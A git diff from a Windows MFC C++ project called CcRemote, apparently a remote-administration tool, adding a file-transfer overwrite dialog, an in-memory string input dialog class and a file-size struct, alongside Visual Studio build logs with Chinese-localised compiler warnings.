|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
正在生成代码...
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
|
63
CcRemote/CcRemote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,63 @@
|
||||
// CInputDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "FileTransferModeDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CFileTransferModeDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_TRANSFERMODE_DLG, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CFileTransferModeDlg::~CFileTransferModeDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CFileTransferModeDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
CString str;
|
||||
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
|
||||
|
||||
for (int i = 0; i < str.GetLength(); i += 120)
|
||||
{
|
||||
str.Insert(i, "\n");
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
//重写这个函数是因为让继承他的子类能够重载这个函数来判断id吧
|
||||
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
// TODO: Add your control notification handler code here
|
||||
EndDialog(id);
|
||||
}
|
27
CcRemote/CcRemote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,27 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
// CFileTransferModeDlg 对话框
|
||||
|
||||
class CFileTransferModeDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
||||
|
||||
public:
|
||||
CString m_strFileName;
|
||||
CFileTransferModeDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CFileTransferModeDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
virtual BOOL OnInitDialog();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
};
|
228
CcRemote/CcRemote/InputDlg.cpp
Normal file
@@ -0,0 +1,228 @@
|
||||
////////////////////////////////////////////////////////////////
|
||||
// MSDN Magazine -- June 2005
|
||||
// If this code works, it was written by Paul DiLascia.
|
||||
// If not, I don't know who wrote it.
|
||||
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
|
||||
//
|
||||
#include "pch.h"
|
||||
#include "InputDlg.h"
|
||||
#include "PublicStruct.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
//////////////////
|
||||
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
|
||||
//
|
||||
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
|
||||
{
|
||||
m_pBuffer = new WORD[nBufLen];
|
||||
m_pNext = m_pBuffer;
|
||||
m_pEndBuf = m_pNext + nBufLen;
|
||||
}
|
||||
|
||||
CDlgTemplateBuilder::~CDlgTemplateBuilder()
|
||||
{
|
||||
delete [] m_pBuffer;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Create template (DLGTEMPLATE)
|
||||
//
|
||||
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
|
||||
LPCTSTR text, DWORD dwStyleEx)
|
||||
{
|
||||
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
|
||||
|
||||
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||
hdr->style = dwStyle; // copy style..
|
||||
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
|
||||
hdr->cdit = 0; // number of items: zero
|
||||
|
||||
// Set dialog rectangle.
|
||||
CRect rcDlg = rc;
|
||||
hdr->x = (short)rcDlg.left;
|
||||
hdr->y = (short)rcDlg.top;
|
||||
hdr->cx = (short)rcDlg.Width();
|
||||
hdr->cy = (short)rcDlg.Height();
|
||||
|
||||
// Append trailing items: menu, class, caption. I only use caption.
|
||||
m_pNext = (WORD*)(hdr+1);
|
||||
*m_pNext++ = 0; // menu (none)
|
||||
*m_pNext++ = 0; // dialog class (use standard)
|
||||
m_pNext = AddText(m_pNext, text); // append dialog caption
|
||||
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
return hdr;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
|
||||
// initialize DLGITEMTEMPLATE
|
||||
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
|
||||
it.style = dwStyle;
|
||||
it.dwExtendedStyle = dwStyleEx;
|
||||
|
||||
CRect rcDlg = rc;
|
||||
it.x = (short)rcDlg.left;
|
||||
it.y = (short)rcDlg.top;
|
||||
it.cx = (short)rcDlg.Width();
|
||||
it.cy = (short)rcDlg.Height();
|
||||
it.id = nID;
|
||||
|
||||
// add class (none)
|
||||
m_pNext = (WORD*)(&it+1);
|
||||
*m_pNext++ = 0xFFFF; // next WORD is atom
|
||||
*m_pNext++ = wType; // ..atom identifier
|
||||
ASSERT(m_pNext < m_pEndBuf); // check not out of range
|
||||
|
||||
// increment control/item count
|
||||
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||
hdr->cdit++;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||
m_pNext = AddText(m_pNext, text); // append title
|
||||
*m_pNext++ = 0; // no creation data
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||
*m_pNext++ = 0xFFFF; // next is resource id
|
||||
*m_pNext++ = wResID; // ..here it is
|
||||
*m_pNext++ = 0; // no extra stuff
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Append text to buffer. Convert to Unicode if necessary.
|
||||
// Return pointer to next character after terminating NULL.
|
||||
//
|
||||
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
|
||||
{
|
||||
if (text) {
|
||||
USES_CONVERSION;
|
||||
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
|
||||
buf += wcslen((WCHAR*)buf)+1;
|
||||
} else {
|
||||
*buf++ = 0;
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
|
||||
// the order in which the controls are added is the TAB order.
|
||||
//
|
||||
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
|
||||
{
|
||||
const int CXDIALOG = 200; // dialog width
|
||||
const int DLGMARGIN = 7; // margins all around
|
||||
const int CYSTATIC = 8; // height of static text
|
||||
const int CYEDIT = 12; // height of edit control
|
||||
const int CYSPACE = 5; // vertical space between controls
|
||||
const int CXBUTTON = 40; // button width...
|
||||
const int CYBUTTON = 15; // ..and height
|
||||
|
||||
CDlgTemplateBuilder& dtb = m_dtb;
|
||||
CRect rc(
|
||||
CPoint(0,0),
|
||||
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
|
||||
|
||||
// create dialog header
|
||||
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
|
||||
|
||||
// shrink main rect by margins
|
||||
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
|
||||
|
||||
// create icon if needed
|
||||
if (nIDIcon) {
|
||||
if (nIDIcon >= (WORD)IDI_APPLICATION) {
|
||||
// if using a system icon, I load it here and set it in OnInitDialog
|
||||
// because can't specify system icon in template, only icons from
|
||||
// application resource file.
|
||||
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
|
||||
nIDIcon = 0;
|
||||
} else {
|
||||
m_hIcon = NULL;
|
||||
}
|
||||
|
||||
// The size is calculated in pixels, but it seems to work OK--???
|
||||
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
|
||||
CRect rcIcon(rc.TopLeft(), sz);
|
||||
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
|
||||
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
|
||||
rc.left += sz.cx; // shrink main rect by width of icon
|
||||
}
|
||||
|
||||
// add prompt
|
||||
rc.bottom = rc.top + CYSTATIC; // height = height of static
|
||||
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
|
||||
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
|
||||
|
||||
// add edit control
|
||||
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
|
||||
rc.bottom = rc.top + CYEDIT; // height = height of edit control
|
||||
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
|
||||
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
|
||||
|
||||
// add OK button
|
||||
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
|
||||
rc.bottom = rc.top + CYBUTTON; // height = button height
|
||||
rc.left = rc.right - CXBUTTON; // width = button width
|
||||
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
|
||||
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
|
||||
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
|
||||
|
||||
// add Cancel button
|
||||
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
|
||||
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
|
||||
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
|
||||
|
||||
return InitModalIndirect(pTempl, pParent);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Initialize dialog: if I loaded a system icon, set it in static control.
|
||||
//
|
||||
BOOL CInputDialog::OnInitDialog()
|
||||
{
|
||||
if (m_hIcon) {
|
||||
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
|
||||
ASSERT(pStatic);
|
||||
pStatic->SetIcon(m_hIcon);
|
||||
}
|
||||
return CDialog::OnInitDialog();
|
||||
}
|
||||
|
||||
/////////////////
|
||||
// User pressed OK: check for empty string if required flag is set.
|
||||
//
|
||||
void CInputDialog::OnOK()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
if (m_bRequired && m_str.IsEmpty()) {
|
||||
MessageBeep(0);
|
||||
return; // don't quit dialog!
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
83
CcRemote/CcRemote/InputDlg.h
Normal file
@@ -0,0 +1,83 @@
|
||||
////////////////////////////////////////////////////////////////
|
||||
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
|
||||
// If this code works, it was written by Paul DiLascia.
|
||||
// If not, I don't know who wrote it.
|
||||
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
|
||||
//
|
||||
|
||||
//////////////////
|
||||
// Helper class to build a dialog template in memory. Only supports what's
|
||||
// needed for CStringDialog.
|
||||
//
|
||||
class CDlgTemplateBuilder {
|
||||
protected:
|
||||
WORD* m_pBuffer; // internal buffer holds dialog template
|
||||
WORD* m_pNext; // next WORD to copy stuff
|
||||
WORD* m_pEndBuf; // end of buffer
|
||||
|
||||
// align ptr to nearest DWORD
|
||||
WORD* AlignDWORD(WORD* ptr) {
|
||||
ptr++; // round up to nearest DWORD
|
||||
LPARAM lp = (LPARAM)ptr; // convert to long
|
||||
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
|
||||
return (WORD*)lp;
|
||||
}
|
||||
|
||||
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
WORD nID, DWORD dwStyleEx);
|
||||
|
||||
public:
|
||||
// Windows predefined atom names
|
||||
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
|
||||
|
||||
CDlgTemplateBuilder(UINT nBufLen=1024);
|
||||
~CDlgTemplateBuilder();
|
||||
|
||||
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
|
||||
|
||||
// functions to build the template
|
||||
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
|
||||
WORD* AddText(WORD* buf, LPCTSTR text);
|
||||
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
|
||||
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
|
||||
};
|
||||
|
||||
//////////////////
|
||||
// Class to implement a simple string input dialog. Kind of like MessageBox
|
||||
// but it accepts a single string input from user. You provide the prompt. To
|
||||
// use:
|
||||
//
|
||||
// CStringDialog dlg; // string dialog
|
||||
// dlg.m_bRequired = m_bRequired; // if string is required
|
||||
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
|
||||
// dlg.DoModal(); // run dialog
|
||||
// CString result = dlg.m_str; // whatever the user typed
|
||||
//
|
||||
class CInputDialog : public CDialog {
|
||||
public:
|
||||
CString m_str; // the string returned [in,out]
|
||||
BOOL m_bRequired; // string required?
|
||||
HICON m_hIcon; // icon if not supplied
|
||||
|
||||
CInputDialog() { }
|
||||
~CInputDialog() { }
|
||||
|
||||
// Call this to create the template with given caption and prompt.
|
||||
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
|
||||
WORD nIDIcon=(WORD)IDI_QUESTION);
|
||||
|
||||
protected:
|
||||
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
|
||||
enum { IDICON=1, IDEDIT }; // control IDs
|
||||
|
||||
// MFC virtual overrides
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
virtual void DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
DDX_Text(pDX, IDEDIT, m_str);
|
||||
}
|
||||
};
|
||||
|
@@ -66,3 +66,19 @@ typedef struct
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGININFO;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILESIZE;
|
||||
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#elif defined _M_X64
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#else
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#endif
|
||||
#endif
|
||||
|
BIN
CcRemote/CcRemote/RCa16756
Normal file
BIN
CcRemote/CcRemote/RDa16756
Normal file
@@ -1,14 +1,2 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\seu_qqwry.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
|
@@ -1,41 +1,46 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(159): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(305): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(322): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(788): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(867): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(312): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(335): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(826): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(908): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(127): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
